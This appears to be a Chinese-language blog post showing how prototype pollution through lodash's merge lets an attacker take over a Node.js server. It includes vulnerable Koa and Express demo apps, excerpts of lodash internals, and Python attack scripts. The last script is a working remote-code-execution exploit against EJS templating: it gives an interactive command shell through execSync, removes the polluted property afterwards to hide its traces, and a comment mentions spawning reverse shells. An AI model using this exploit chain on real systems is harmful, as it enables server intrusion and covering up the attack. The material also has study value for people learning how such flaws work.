用前端原型链漏洞污染拿下了服务器

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

var a = {name: 'dyboy', age: 18};
a.__proto__.role = 'administrator'
var b = {}
b.role    // output: administrator

const Koa = require("koa");
const bodyParser = require("koa-bodyparser");
const _ = require("lodash");

const app = new Koa();
app.use(bodyParser());

// 合并函数
const combine = (payload = {}) => {
  const prefixPayload = { nickname: "bytedanceer" };
  // 用法可参考：https://lodash.com/docs/4.17.15#merge
  _.merge(prefixPayload, payload);
  // 另外其他也存在问题的函数：merge defaultsDeep mergeWith
};

app.use(async (ctx) => {
  // 某业务场景下，合并了用户提交的payload
  if(ctx.method === 'POST') {
    combine(ctx.request.body);
  }
  // 某页面某处逻辑
  const user = {
    username: "visitor",
  };
  let welcomeText = "同学，游泳健身，了解一下？";
  // 因user.role不存在，所以恒为假（false），其中代码不可能执行
  if (user.role === "admin") {
    welcomeText = "尊敬的VIP，您来啦！";
  }
  ctx.body = welcomeText;
});
app.listen(3001, () => {
  console.log("Running: http://localohost:3001");
});

import requests
import json
req = requests.Session()
target_url = 'http://127.0.0.1:3001'
headers = {'Content-type': 'application/json'}
# payload = {"__proto__": {"role": "admin"}}
payload = {"constructor": {"prototype": {"role": "admin"}}}
res = req.post(target_url, data=json.dumps(payload),headers=headers)
print('攻击完成！')

function baseMerge(object, source, srcIndex, customizer, stack) {
  if (object === source) {
    return;
  }
  baseFor(source, function(srcValue, key) {
    // 如果合并的属性值是对象
    if (isObject(srcValue)) {
      stack || (stack = new Stack);
      // 调用 baseMerge
      baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
    }
    else {
      var newValue = customizer
        ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
        : undefined;
      if (newValue === undefined) {
        newValue = srcValue;
      }
      assignMergeValue(object, key, newValue);
    }
  }, keysIn);
}

function safeGet(object, key) {
  return key == '__proto__'
    ? undefined
    : object[key];
}

function baseMergeDeep(object, source, key, srcIndex, mergeFunc, customizer, stack) {
  var objValue = safeGet(object, key),
      srcValue = safeGet(source, key),
      stacked = stack.get(srcValue);
  if (stacked) {
    assignMergeValue(object, key, stacked);
    return;
  }

function assignMergeValue(object, key, value) {
  if ((value !== undefined && !eq(object[key], value)) ||
      (value === undefined && !(key in object))) {
    baseAssignValue(object, key, value);
  }
}

function baseAssignValue(object, key, value) {
  if (key == '__proto__' && defineProperty) {
    defineProperty(object, key, {
      'configurable': true,
      'enumerable': true,
      'value': value,
      'writable': true
    });
  } else {
    object[key] = value;
  }
}

prefixPayload = { nickname: "bytedanceer" };
// payload：{"constructor": {"prototype": {"role": "admin"}}}
_.merge(prefixPayload, payload);
// 然后就给原型对象赋值了一个名为role，值为admin的属性

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const app = express();
app
    .use(bodyParser.urlencoded({extended: true}))
    .use(bodyParser.json());
app.set('views', './views');
app.set('view engine', 'ejs');
app.get("/", (req, res) => {
    let title = '游客你好';
    const user = {};
    if(user.role === 'vip') {
        title = 'VIP你好';
    }
    res.render('index', {title: title});
});
app.post("/", (req, res) => {
    let data = {};
    let input = req.body;
    lodash.merge(data, input);
    res.json({message: "OK"});
});
app.listen(8888, '0.0.0.0');

import requests
import json

req = requests.Session()

target_url = 'http://127.0.0.1:8888'

headers = {'Content-type': 'application/json'}

# 无效攻击
# payload = {"__proto__": {"role": "vip"}}

# 普通的逻辑攻击
payload = {"content":{"constructor": {"prototype": {"role": "vip"}}}}

# RCE攻击
# payload = {"content":{"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('ls /'); //"}}}}

# 反弹shell，比如反弹到MSF/CS上

# 模拟一个交互式shell
if __name__ == "__main__":
    payload = '\{"content":\{"constructor": \{"prototype": \{"outputFunctionName": "a; return global.process.mainModule.constructor._load(\'child_process\').execSync(\'{}\'); //"\}\}\}\}'
    while(True):
        shell = input('shell: ')
        if shell == '':
            continue
        if shell == 'exit':
            break
        formatStr = "a; return global.process.mainModule.constructor._load('child_process').execSync('" + shell +"'); //"
        payload = {"content":{"constructor": {"prototype": {"outputFunctionName": formatStr}}}}

        res = req.post(target_url, data=json.dumps(payload),headers=headers)

        res2 = req.get(target_url)

        print(res2.text)

        # 处理痕迹
        formatStr = "a; return delete Object.prototype['outputFunctionName']; //"
        payload = {"content":{"constructor": {"prototype": {"outputFunctionName": formatStr}}}}
        res = req.post(target_url, data=json.dumps(payload),headers=headers)
        req.get(target_url)